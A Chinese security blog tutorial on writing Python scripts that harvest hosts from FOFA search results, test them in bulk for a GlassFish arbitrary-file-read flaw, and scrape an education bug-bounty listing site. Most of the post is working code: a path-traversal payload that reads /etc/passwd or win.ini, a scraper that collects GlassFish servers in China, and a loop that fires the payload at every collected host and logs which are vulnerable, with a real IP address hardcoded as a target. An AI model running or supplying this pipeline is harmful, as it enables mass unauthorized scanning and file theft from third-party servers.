安全 Python开发 批量Fofa&SRC提取&POC验证 Yatming的博客 2025-05-20 2023-09-03
本课知识点:Request爬虫技术,lxml数据提取,异常处理,fofa等使用说明
学习目的:掌握利用公开或0day漏洞进行批量化的收集及验证脚本开发
额后面需要fofa会员,才行,我这里没有会员,但是我有会员的key
其实如果有会员的话,加上fofa图形化的工具,配置一下会员的邮箱和key就可以和会员差不多,而且提取目标可以直接将结果导出成csv文件,然后在Excel中进行提取非常方便
首先观察fofa的url:https://fofa.info/result?qbase64=YXBwPSJISUtWSVNJT04t6KeG6aKR55uR5o6nIg%3D%3D
格式是:https://fofa.info/result?qbase64=
后面的内容使用base64进行解码:
因为这里是在网址上所以首先需要进行一次url的解码
从这里可以得出内容就是将搜索框中的内容进行base64进行编码,然后进行传输的
所以在代码中使用base64进行编码,然后进行url的拼接就可以得到完整的url
如果想要批量化获取fofa的搜索结果:
url:https://fofa.info/result?qbase64=YXBwPSJURFhLLemAmui%2Bvk9BIiAmJiAoaWNvbl9oYXNoPSItOTkxOTgxMzUiIHx8IGljb25faGFzaD0iLTc1OTEwODM4NiIp&page=2&page_size=20
这里还多了两个参数一个是page这个参数就是页数的意思,另外一个就是page_size这个就是每一页显示多少条的意思
glassfish任意文件读取_验证脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsdef glassfish_vcheck (url ): payload_linux = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd" payload_windows = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/Windows/win.ini" data_linux = requests.get(url + payload_linux) data_windows = requests.get(url + payload_windows) statuscode_linux = data_linux.status_code statuscode_windows = data_windows.status_code if statuscode_linux == 200 : print ("glassfish(linux)任意文件读取漏洞存在" ) print (data_linux.text) elif statuscode_windows == 200 : print ("glassfish(windows)任意文件读取漏洞存在" ) print (data_windows.text) else : print ("glassfish任意文件读取漏洞不存在" ) if __name__ == '__main__' : url = "http://123.56.92.105:4848" glassfish_vcheck(url)
Fofa搜索结果批量采集脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import requests,base64,timefrom lxml import etree ''' 如何实现这个漏洞批量化: 1.获取到可能存在漏洞的地址信息-借助Fofa进行获取目标 1.1将请求的数据进行筛选 2.批量请求地址信息进行判断是否存在-单线程和多线程 ''' def ip_collect (): url = "https://fofa.so/result?qbase64=" search_data = '"glassfish" && port="4848" && country="CN" ' search_data_b64 = base64.b64encode(search_data.encode("utf-8" )).decode("utf-8" ) urls = url+search_data_b64 result = requests.get(urls).content soup = etree.HTML(result) ip_data = soup.xpath('//span[@class = "aSpan"]/a[@target="_blank"]/@href' ) ip_data=set (ip_data) ipdata = '\n' .join(ip_data) with open (r'ip-10.txt' ,'a+' ) as f: f.write(ipdata+'\n' ) def ip_collect_vip (): search_data = '"glassfish" && port="4848"' search_data_b64 = base64.b64encode(search_data.encode("utf-8" )).decode("utf-8" ) headers = { 'cookie' :'_fofapro_ars_session=aaaaaaaaaaaaaaaaaaaaaaaaa' } for pageNumber in range (1 ,11 ): urls = "https://fofa.so/result?page=" +str (pageNumber)+"&qbase64=" +search_data_b64 print ('正在提取第' +str (pageNumber)+'页' ) try : result = requests.get(urls,headers=headers,timeout=0.5 ).content soup = etree.HTML(result) ip_data = soup.xpath('//span[@class = "aSpan"]/a[@target="_blank"]/@href' ) ip_data = set (ip_data) print (ip_data) ipdata = '\n' .join(ip_data) with open (r'ip-200.txt' ,'a+' ) as f: f.write(ipdata+'\n' ) except Exception as e: pass if __name__ == '__main__' : ip_collect()
POC批量验证脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import time import requests def glassfish_vcheck (): payload_linux = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd" payload_windows = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/Windows/win.ini" for url in open ('ip-10.txt' ): url = url.replace('\n' , '' ) data_linux = requests.get(url + payload_linux) data_windows = requests.get(url + payload_windows) statuscode_linux = data_linux.status_code statuscode_windows = data_windows.status_code print ("check->" + url) try : with open (r'vuln.txt' , 'a+' ,encoding='utf8' ) as f: if statuscode_linux == 200 : f.write("-----------------------------------------------\n" ) f.write(url + "存在glassfish任意文件读取漏洞\n" ) f.write(url + "是linux系统\n" ) elif statuscode_windows == 200 : f.write("-----------------------------------------------\n" ) f.write(url + "存在glassfish任意文件读取漏洞\n" ) f.write(url + "是windows系统\n" ) else : f.write("-----------------------------------------------\n" ) f.write(url + "不存在glassfish任意文件读取漏洞\n" ) time.sleep(0.5 ) except Exception as e: pass if __name__ == '__main__' : glassfish_vcheck()
教育SRC报告平台信息批量提取脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests,time from lxml import etree def src_collect(page): try: for i in range(1,int(page)+1): url = "https://src.sjtu.edu.cn/list/?page="+str(i) print("正在提取第"+str(i)+"页") r = requests.get(url).content soup = etree.HTML(r) result = soup.xpath('//td[@class=""]/a/text()') results = '\n'.join(result) resultss = results.split() for edu in resultss: with open(r'src-edu.txt','a+',encoding='utf-8') as f: f.write(edu + '\n') except Exception as e: time.sleep(0.5) pass if __name__ == '__main__': page = input("你需要提取几页?-->") src_collect(page)
上面这些来自:https://blog.1997sty.com/archives/4263
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsimport base64search_data='app="TDXK-通达OA"' url='https://fofa.info/result?qbase64=' search_data_bs=str (base64.b64encode(search_data.encode('utf-8' )),"utf-8" ) urls=url+search_data_bs result=requests.get(urls).content print (result.decode('utf-8' ))""" 其中,变量urls是您要访问的网址,requests.get(urls)函数会向该网址发送一个GET请求,并返回一个Response对象,该对象包含了响应的各种信息,如状态码、响应头、响应文本等。response.text就是获取响应文本的方法,它返回的是一个字符串,包含了响应的HTML源代码。 需要注意的是,如果您请求的是非文本类型的文件,如图片、视频等,那么response.text方法将返回的是该文件的二进制数据,而不是文本内容。此时您可以使用response.content方法来获取该文件的二进制数据。 """
可以看到得到的就是fofa的搜索内容的前端源码
这里我自己分析的时候环境老是有问题,百度解决一个又一个,所以这里就把重要的代码拿出来分析一波吧
1 2 3 4 5 soup.xpath('//a[@target="_blank"]/@href') # 这个的意思就是把源代码中的a标签中等于[target="_blank" ]的标签,然后获取里面的href的属性 # 但是这么搞的话是有不符合条件的数据也会被匹配进来的所以,需要找正常数据和不正常数据的不同点 soup.xpath('//div[@class="re-domain"]/a[@target="_blank"]/@href') # 这样就是匹配在div标签中等于class="re-domain" 的内容下在进行上面的匹配